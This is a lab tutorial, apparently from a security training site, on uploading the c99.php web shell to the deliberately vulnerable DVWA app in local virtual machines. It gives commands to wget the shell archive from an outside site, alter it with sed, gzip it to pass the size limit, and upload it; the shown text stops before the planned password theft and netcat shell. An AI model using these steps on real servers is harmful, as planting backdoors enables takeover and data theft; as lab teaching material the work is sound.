
 

( Damn Vulnerable Web App (DVWA) )  

{ Upload and use C99.php Backdoor shell   }  

 
Section 0. Background Information 

1. What is Damn Vulnerable Web App (DVWA)?  
o Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is 

damn vulnerable.  
o Its main goals are to be an aid for security professionals to test their 

skills and tools in a legal environment, help web developers better 

understand the processes of securing web applications and aid 

teachers/students to teach/learn web application security in a class room 

environment.  

 

2. What is a n Upload Attack Vector?  
o An Upload Attack Vector exists when a website application provides the 

ability to upload files.  
o Uploaded files represent a significant risk to applications.  
o The first step in many attacks is to get some code to the system to be 

att acked.  
o Then the attack only needs to find a way to get the code executed.  
o Using a file upload helps the attacker accomplish the first step.  
o The consequences of unrestricted file upload can vary, including complete 

system takeover, an overloaded file sys tem, forwarding attacks to backend 

systems, and simple defacement. It depends on what the application does 

with the uploaded file, including where it is stored.  

 

3. What is c99.php?  
o The c99 PHP utility provides functionality for listing files, brute -

forcing FTP passwords, updating itself, executing shell commands and PHP 

code. It also provides for connecting to MySQL databases, and initiating 

a connect - back shell session. In many ways it can be considered the web 

equivalent of the rootkits that successful att ackers often download. In 

other ways it is the malware equivalent of PHPShell itself. c99 is often 

one of the utility programs that is either downloaded if a web server is 

vulnerable due to being misconfigured, or can be used in a remote file 

include attac k to try and execute shell commands on a vulnerable server. 

Figure 6 provides a screenshot of the c99 PHP shell running on a web 

server.  

  



 

4. Pre - Requisite Labs  
o Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14  

 

5. Lab Notes  

o In this lab we will do the following:  

1. We will download C99.php.  

2. We will upload C99.php to the DVWA Upload screen.  

3. We will search for sensitive database files.  

4. We will extract the database password.  

5. We will execute netcat from the C99.php Bind Interface.  

 

6. Legal Disclaimer  
o As a condition of your use of this Web site, you warrant to 

computersecuritystudent.com that you will not use this Web site for any 

purpose that is unlawful or that is prohibited  by these terms, 

conditions, and notices.  
o In accordance with UCC § 2 - 316, this product is provided with "no 

warranties, either expressed or implied." The information contained is 

provided "as - is", with "no guarantee of merchantability."  
o In addition, this is a teaching website that does not condone malicious 

behavior  of any kind.  

o You are on notice, that continuing and/or using this lab outside your 

"own" test environment is considered malici ous and is against the law .  
o © 2013 No content replication of any kind is allowed without express 

written permission.  

  

Section 1: Configure Fedora14 Virtual Machine Settings 

1. Open Your VMware Playe r  
o Instructions:  

1. On Your Host Computer, Go To  

2. Start -- > All Program -- > VMWare -- > VMWare Player  

  

2. Edit BackTrack Virtual Machine Setting s  
o Instructions:  

1. Highlight fedora14  

2. Click Edit virtual machine settings  

http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/lesson1/index.html


o  

  

3. Edit Network Adapte r  
o Instructions:  

1. Highlight Network Adapter  

2. Select Bridged  

3. Click on the OK Button.  



o  

  

Section 2: Login to Fedora14 

1. Start Fedora14 VM Instanc e 
o Instructions:  

1. Start Up VMWare Player  

2. Select Fedora14  

3. Play virtual machine  



o  

  

2. Login to Fedora1 4 
o Instructions:  

1. Login: student  

2. Password: <whatever you set it to>.  



o  

  

Section 3: Open Console Terminal and Retrieve IP Address 

1. Start a Terminal Consol e 
o Instructions:  

1. Applications -- > Terminal  



o  

  

2. Switch user to roo t  
o Instructions:  

1. su -  root  

2. <Whatever you set the root password to>  



o  

  

3. Get IP Addres s  
o Instructions:  

1. ifconfig - a 
o Notes:  

Á As indicated below, my IP address is 192.168.1.106.  
Á Please record your IP address.  



o  

  

Section 4: Fix Upload Ownership and Permissions 

1. Fix Ownership and Permission s  
o Instructions:  

1. Bring up a Terminal Console on the DVWA (Fedora14) machine.  

2. chown root:apache /var/www/html/dvwa/hackable/uploads/  

3. chmod 775 /var/www/html/dvwa/hackable/uploads/  

4. ls - ld /var/www/html/dvwa/hackable/uploads/  
o Known Issue:  

1. By default, the /var/www/html/dvwa/hackable/uploads/ directory is 

user and group owned by root.  

2. In addition, the apache user did not have "write" permis sion to 

allow a user to place a file in the hackable/uploads directory.  



o  

  

Section 5: Configure BackTrack Virtual Machine Settings 

1. Open Your VMware Playe r  
o Instructions:  

1. On Your Host Computer, Go To  

2. Start -- > All Program -- > VMWare -- > VMWare Player  

  

2. Edit BackTrack Virtual Machine Setting s  
o Instructions:  

1. Highlight BackTrack5R1  

2. Click Edit virtual machine settings  



o  

  

3. Edit Network Adapte r   
o Instructions:  

1. Highlight Network Adapter  

2. Select Bridged  

3. Click on the OK Button.  



o  

  

Section 6: Login to BackTrack 

1. Start BackTrack VM Instanc e 
o Instructions:  

1. Start Up VMWare Player  

2. Select BackTrack5R1  

3. Play virtual machine  



o  

  

2. Login to BackTrac k  
o Instructions:  

1. Login: root  

2. Password: toor or <whatever you changed it to>.  



o  

  

3. Bring up the GNOM E 
o Instructions:  

1. Type startx  



o  

  

Section 7: Open Console Terminal and Retrieve IP Address 

1. Open a console termina l  
o Instructions:  

1. Click on the console terminal  



o  

  

2. Get IP Addres s  
o Instructions:  

1. ifconfig - a 
o Notes:  

Á As indicated below, my IP address is 192.168.1.105.  
Á Please record your IP address.  



o  

  

Section 8: Download c99:php 

1. Open a console termina l  
o Instructions:  

1. Click on the console terminal  



o  

  

2. Create msfpayloa d 
o Instructions:  

1. mkdir - p /root/backdoor  

2. cd /root/backdoor/  

3. wget http://r57.gen.tr/shell/c99.rar  

4. ls - l c99.rar  



o  

  

3. Edit PHONE_HOME.ph p 
o Note(FYI):  

Á A rar file is a type of compress format that is seen more in the 

windows environment than in linux.  

Á Also, we will edit the c99.php file with the sed utility.  
o Instructions:  

0. unrar x c99.rar  

Á Extract c99.php  

1. cp c99.php c99.php.bkp  

2. head - 1 c99.php  

Á Notice how the first line does NOT contain "<?php".  

3. sed - i '1 s/^.*$/<?php/g' c99.php  
Á This only replaces the first line of file with "<?php".  

4. head - 1 c99.php  
Á Notice how the first line DOES contain "<?php".  



5. gzip c99.php  
Á I compress c99.php, because DVWA does not allow you to upload 

files greater than 10000 byt es.  
Á I use gzip instead of rar, because gzip pretty much comes 

standard on most flavors of linux.  

6. ls - l  

o  

  

Section 9: Login to DVWA 

1. Start Firefo x  
o Instructions:  

1. Click on Firefox  



o  

  

2. Login to DVW A 
o Instructions:  

1. Start up Firefox on BackTrack  

2. Place http:// 192.168.1.106 /dvwa/login.php in the address bar.  

Á Replace 192.168.1.106 with the IP address of the DVWA 

(Fedora14) machine obtained in (Section 3, Step 3).  

3. Login: admin  

4. Password: password  

5. Click on Login  



o  

  

Section 10: Set Security Level 

1. Set DVWA Security Leve l  
o Instructions:  

1. Click on DVWA Security, in the left hand menu.  

2. Select "low"  

3. Click Submit  



o  

  

Section 11: Upload PHP Payload 

1. Upload Men u 
o Instructions:  

1. Select "Upload" from the left navigation menu.  

2. Click Browse  



o  

  

2. Navigate to /root/backdoor/c99.php.g z  
o Instructions:  

1. Click on root icon, then the backdoor folder  

2. Click on c99.php.gz  

3. Select Open  



o  

  

3. Upload c99.php.g z  
o Instructions:  

1. Click the Browse button and navigate to /root/backdoor/c99.php.gz  

2. Click the Upload Button  
o Note(FYI):  

Á Hopefully you will receive a successfully uploaded messa ge like 

below.  



o  

  

4. Activate PHONE_HOME.ph p 
o Instructions:  

0. http:// 192.168.1.106 /dvwa/hackable/uploads/  

Á Replace 192.168.1.106 with the IP address of the DVWA 

(Fedora14) machine obtained in (Section 3, Step 3).  

1. Notice c99.php.gz is listed  

2. Click the Back Button after you read the below Note.  
o Note(FYI):  

Á Okay this is great and all, but we still have a problem.  
Á The problem is that we cannot execute a compressed php file.  


